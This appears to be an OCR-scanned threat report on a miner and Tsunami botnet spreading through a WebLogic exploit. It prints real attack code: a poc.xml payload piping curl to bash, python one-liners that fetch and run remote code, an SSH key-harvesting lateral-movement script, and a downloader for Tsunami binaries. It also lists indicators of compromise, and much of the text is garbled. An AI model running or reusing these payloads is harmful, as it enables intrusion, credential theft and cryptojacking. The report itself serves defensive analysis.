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W Follow @tolisec

Multi-Vector Miner+Tsunami Botnet with SSH Lateral
Movement

A fellow security researcher, Oxrb, shared with me samples of a botnet that propagates using weblogic exploit
The botnet was also discovered by @BadPackets 5 days ago and it is still active as of now, December 1, 2020.
The botnet carries two payloads: 1) a Monero XMR Miner binaries; and 2) Tsunami binaries. This botnet is
targeting cloud servers. An earlier version of the botnet, carrying only XMR Miner payload was investigated and

reported by Patrick Olsen from AWAKE Security in September 2020

Botnet Summary

Search ... Q

Recent Posts

Multi-Vector Miner+Tsunami
Botnet with SSH Lateral
Movement

SSH-backdoor Botnet With

‘Research’ Infection Technique

Active loT Botnets 11/11/20

Payloads: Monere Miner and Tsunami.
, Active loT botnets 22/10/2020
Infection vectors: Docker API, Weblogic, SSH bruteforce?, Redis?

The botnet is currently propagating using weblogic exploit. In September, an earlier version of the botnet was Active loT botnets 08/06/2020

Bl tolisec f < it i
- SR
BRI AR AT 0 27 b R BTt R & 4T
® Payload : Monero Miner ~ Tsunami -
® ¥ i iR 4k : Docker API ~ Weblogic ~ SSH

bruteforce - Redis -
® fiw A5t % SSHit{T w5 -

= ~ % 1r¢8 - CVE-2020-14882

poc.xml SHA256 :
af1f3e57544583561dbd02201407782aef7dce47489e703ad6ac9f2313
63b439
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B 79 1B Payload ~ Shell script ~ xms ~ Python script -

Shell Script 2 xms ¢ %% curl # {7 piped #:i% 3 bash i {|
* wget # Shell Script 2 xms & 7 # B ~ 3 f*ffv‘“'l“,% » ¥R
base64 commands &P~ 3 = python Script 17 ¥ # &Rl fr i &+ &
ik

&lt;beans xmlns="http://www.springframework.org/schema/beans"” xmlns:xsi="http://www.w3.orc
&lt;bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
&lt;constructor-arg>
&lt;list>
&lt;value>/bin/bash&lt;/value>
&lt;value>-c&lt;/value>
&lt;value>&1t; |1&#91; CDATA&#91;curl -s hxxp://205.185.116.78/xms | bash -sh; wget -
&lt;/list>
&lt;/constructor-arg>
&lt;/bean>
&lt;/beans>

B2 poc.xml # ;'

e e

kA w @ e base64 Commands S fE4r 5 LT R R

® python -c ‘import
urllib;exec(urllib.urlopen(“hxxp://205.185.116.78/d.py”).read())’

= ~ &% 2FFE A-xms shell script

xms shell script SHA256 :
72acbfdeadfa31d7ccda7fdcc93944b1948e263239af8850e5b44c51

8dala4c5
PREBLE T T 0
1. Configures shell path -

2. 4% SELinux &>t enforcing mode » P #-H *» & 7]

permissive mode -

3. T4 user processes = 50000 -

BT ERGFF LD P Page 5
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4. *#-RedHat huge pages % ¥ & m# CPU i #icihz & o

5. Clears LD Preload -

6. ¥ 'J% 33334444 ~5555~7777~14444 ~5790-~45700 ~
2222 ~ 9999 ~ 20580 ~ 13531 Port -1 Processes » I #
ik 22 |P 23.94.24.12:8080 - 134.122.17.13:8080 :# %

77 Processes -

7. A2 NEissc YRRz Eck- threads %k 5 300 &
800

8. Uninstalls DER -
® 4 EF %4 AliBaba Aliyun ¢ qgcloud » 4%
LR R Ry & %
9. Z#E1 % WANIP/16 -
10. #& & #25" &_F ¥ i T pool.supportxmr.com -

11. # % bash.givemexyz.in £ F ¥ =1 » £ FH 70T B
iT:
® python -c ‘import

urllib;exec(urllib.urlopen(“hxxp://bash.givemexyz.in/dd.py”)
.read())’

12. 4% & 2 3 | bash.givemexyz.in » #4347 120 7 e 17 ¢

® python -c ‘import
urllib;exec(urllib.urlopen(“hxxp://205.185.116.78/d.py”).rea
d())

BT ERGFF LD P Page 6
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SSH # = # &> : xms shell script ¢ 3417 2 T # 3k F 2K » &
JRE o

2,

® ¢ * jcanhazip.com f%47xX T 2 IP ¥ 7|# users ~
£

Ny

hosts - keys - ports » #i& {7 4 & nested loops ¥

\

T3

g o

® %47 id_rsa”; .ssh/config; .bash_history; fri p 4&fr49

B 4xv chpem < 2 o #5071 A {70 processes
MEPF B E# SSH i MR mF I o

localgo() {

1
2 echo "localgo start"
3 myhostip=%$(Ccurl -sL icanhazip.com)
4 KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
5 KEYSZ $(cat ~/. ssh/conﬁg /home e ig /root h/config grep Identityf
6 b hi Vi bash hlstory /root/ bash _history | grep -E "(
7 KEYS4 $(f1nd ~/ /root /home —maxdepth 3 -name "*_.pem' | unlq)
8 HOSTS= $(cat ~/. ssh/conflg /home R ig /root sh nf grep HostName
9 HOSTS2=% s home/* bash hlstory /root/ bash hlstory | grep —E o
10 HOSTS3 $(cat ~/ bash hlstory /home */.bash_history /root ash_hist jrep
11 ca Jr "0 .1.‘\"_‘.\‘ grep 4, [ B0 S grep VWA
12 ssh/known hosts /home */ .ssh/known_ho I
13 wxw | greg oP "(&#91;0-97{1,3}\.){3}&#91;0-9]{1 grep *4
14
15 e
16 find root /home -maxdepth 2 -name '\.ssh'’ iniq xargs find wk '/id_r
17 )
18 USERZ2=%$(cat .bash_histor home/*/ .bash hlstory /root/ bash h1story | grep -vw
19 sshports=%$Ccat ~/. bash hlstory /home/*/ .bash oot/ .bash_hi grep -v
20 userlist=%$Cecho "$USERZ $USERZ2" | tr " °' '\n | nl | sort -u -k2 | sort -n | cut
21 hostlist=%$Cecho "$HOSTS $HOSTSZ2 $HOSTS3 $HOSTS4 $HOSTSS5 $HOSTS6" | grep -vw 127.0.
22 keylist=$Cecho "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sor
23 i=0
24 for user in $userlist; do
25 for host in $hostlist; do
26 for key in $keylist; do
27 for sshp in $sshports; do
28 CGi++)D
29 if &#91; "${i}" -eq "20" ]; then
30 sleep S
31 ps wx | grep "ssh -o" | awk "{print $1}' | xargs kill -9 &amp;
32 i=0
33 fi
34
35 #Wait 5 seconds after every 20 attempts and clean up hanging proce
36
37 chmod +r S$key
38 chmod 400 $key
39 echo "$user@$host™
40 ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3
41 ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3
42 done
43 done
44 done
5 done
46 # scangogo
47 echo "local done"
B]3 xms shell script
YA . P4 2| g , [P 22
FAR  FALBHEVA Lol an K AR
EHFLLNG AP Page 7
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® Xms scripts i% 1% cronjobs F #.4¥ A £ > 3% cronjobs * 1 ~
2~3~30 & gfos | pFER g T 3R {7 xms shellscripts {=
python scripts -

® /etc/cron.d/root
® /etc/cron.d/apache
® /var/spool/cron/root
® /var/spool/cron/crontabs/root
® /etc/cron.hourly/oanacroner1
® % Z/etc/init.d/down i Fx ik Supads pEendE A JE o
= ~ % 2 F¢E B - Python scripts
£ 3 4 B python scripts » » % 2% o % - B¢ TR IR
Miner f- shell scripts - % = ‘& ¢ = §% ¥ 34 {7 Tsunami -
d.py- >

1.4 hardcoded IP 205.185.116.78 ™ §* go shell scripts {=
Miner » i i% i go scripts 1 7 Miner 2 = 4 ¥ 43 {7 b.py -

2.3% 7 12 shell script :
At

Python -c ‘import
urllib;exec(urllib.urlopen(“hxxp://bash.givemexyz.in/dd.py”).read()
)l

2 4r ¥ givemexyz webserver ¥_% ¥ * 0] ¢

T FE RGP Page 8
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python -c ‘import
urllib;exec(urllib.urlopen(“hxxp://205.185.116.78/b.py”).read())’

B.i# * cron iy A &

dd.py python scripts {7 5 &2 dpy 4k » 2T § j

bash.givemexyz.in &2 Miner = i o

b.py fr bb.py- > it & B~ ¥ 3 7 Tsunami x32 f- x64 <

platform.architecture() [0] "64bit":
urlx64 - "http://bash.givemexyz.in/x64b"
f -~ urllib.urlopen(urlx64)
f.code 200:
data f.read()
open ("/tmp/x64b", "wb") code:
code.write(data)
os.chmod("/tmp/x64b", 00777)
os.system("/tmp/x64b")

urlx32 - "http://bash.givemexyz. in/x32b"

y  urllib.urlopen(urix32)
y.code 200;
data y.read()
open ("/tmp/x32b", "wb") code:
code.write(data)
os.chmod("/tmp/x32b", 00777)
os.system("/tmp/x32b")

&4 bb.py script

EHF ARG a7 Page 9
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% 31 A-Monero XMR Miner ELF

P IEE g T § % 5 go shshell scripts ¥ 44 7 Miner binaries

K=
At °

x86_64 SHA256:
fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3
i686 SHA256:
35e45d556443c8bf4498d8968ab2a79e751fc2d359bfof6b4dfd86d417f17cfb

go
SHA256:6f7393474c6f3c452513231d1e3fa07ed9dcc8d53a1bb2d680c78e9aa03f8f

[(e]
o

Lo~V B WN

#!/bin/bash
cd /tmp

if &#91; $(ping -c 1 pool.supportxmr.com 2>/dev/nulllgrep "bytes of data" | wc -1 ) -g

dns=""
else
dns="-d"
fi
rm -rf /tmp/.lock 2>/dev/null
EXEC="dbusex"
DIR="pwd"
if &#91; "$#" == "@" 1; then
ARGS=""
else
for var in "$@"
do
if &#91; "$var" 1= "-f" 7;
ARGS="$ARGS $var"
fi
if &#91; | -z "$FAKEPROC" J;
FAKEPROC=$CCFAKEPROC+1))

then

then

fi
if &#91; "$var" == "-h" 1;
FAKEPROC="1"

then

fi
if &#91;&#91; "$FAKEPROC" == "2" 17;
EXEC="$var"
fi
if &#91; ! -z "$dns" ]; then
ARGS="$ARGS $dns"
fi
done
fi
mkdir -- ".$EXEC"
cp -f -- “uname -m" " SEXEC"/"SEXEC"
/" USEXECT/"SEXEC! $ARGS -pwn
L/MUSEXECT /"SEXECT SARGS -c¢
rm -rf " $EXEC"
echo "#!/bin/bash
cd -- $DIR
mkdir -- .$EXEC
cp -f -- “uname -m’ ,$EXEC/$EXEC
./ $SEXEC/$EXEC $ARGS -c
rm -rf ($EXEC" > "$EXEC"
chmod +x -- "$EXEC"
L/"SEXEC" >/dev/null 2>&amp;1
rm -rf /tmp/go

S

then

go # ;7\ %

SR
4t hitps://www.issdu.com.tw
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Miner ELF ¢ p #4232 T HH* AL PIRE ¢

66.70.218.40 : 8080
209.141.35.17:8080
+ ~ % 3 FFE B- Tsunami
Tsunami ik + 5 444+ x86 f- x86_64 & {7 S H 43R
& 8 Miner R &4 00 > 3 2 385 3% UPX -

x32b SHA256 :
9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34
cbf9a872

x64b SHA256 :

855557e415b485cedb9dc2c6f96d524143108a2f8442
Tsunami ¢ p =@ 4& 3| 0™ C2 BIRE -

104.244.75.25:443

BFIF LG AP Page 11
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Z‘ ® f}'}":il‘ f&ﬁ@-‘%’i

AR EH A x 445 IOC & 13 7 ehip 3 1T

IP Address  |@Z:x B4R IP &8 Vg - IPSRP| N F 2 2 H
ki TR A P B o

MD5 LA ELAS RF C BR R ERE

AN FHE @D R HASH  * 5T
otk o 23RS B 4§ ¢ CUSTOM HASH
BANNING it {7 £ #+ 3 4e ¢ & $ftf A ik F 2 ©

STiE Y 2 1K R R PR o
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# - Indicatorsofcompromise(loCs)

® [P Address

¢ 205.185.116.78
198.98.57.217
194.156.99.30
66.70.218.40
209.141.35.17
104.244.75.25

® ¢ 6 00

® Domain
€ bash.givemexyz.in
€ pool.supportxmr.com

€ xmr.givemexyz.in

® SHA256

¢ af1f3e57544583561dbd02201407782aef7dce47489e7
03ad6ac9f231363b439

€ 22e3611cb2b156¢3dc2d192b65707aac7787955d7dc1
20dfbc09aef8e12251b5

¢ b07bf6e14050c1c56c9b80155417370b4704eb0655¢cfc
18bb4259956162c3814

€ 508ec039ca9885f1afc6f15bb70adfa9ed32f9c2d0bff511
052edb39898951c7

€ 8dbd281c98c8e176621566e3a77eb8a3b7ae4f254773
d56f7033f903dd09a043

BT RGP Page 13
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¢ 030f41373567846ee18716605dea3ef94d1861b9c32b6
64d25026d41¢c3557c00

¢ fdc7920b09290b8dedc84c82883b7a1105¢c2fbad75e42
aea4dc165de8e1796e3

¢ 35e45d556443c8bf4498d8968ab2a79e751fc2d359bfof
6b4dfd86d417f17cfb

€ 6f7393474c6f3c452513231d1e3fa07ed9dcc8d53a1bb2
d680c78e9aa03f8fod

€ 9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa
6d53e017f34cbf9a872

€ 855557e415b485cedb9dc2c6f96d524143108aff2f8449
7528a8fcddf2dc86a2

® File Name
¢ poc.xml
xms (shell script)
b.py
bb.py
d.py
dd.py

® ¢ 6 00

&%?j{ U;ijv\’ﬁ (RN Page 14
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® https://tolisec.com/multi-vector-minertsunami-botnet-with-

ssh-lateral-movement/
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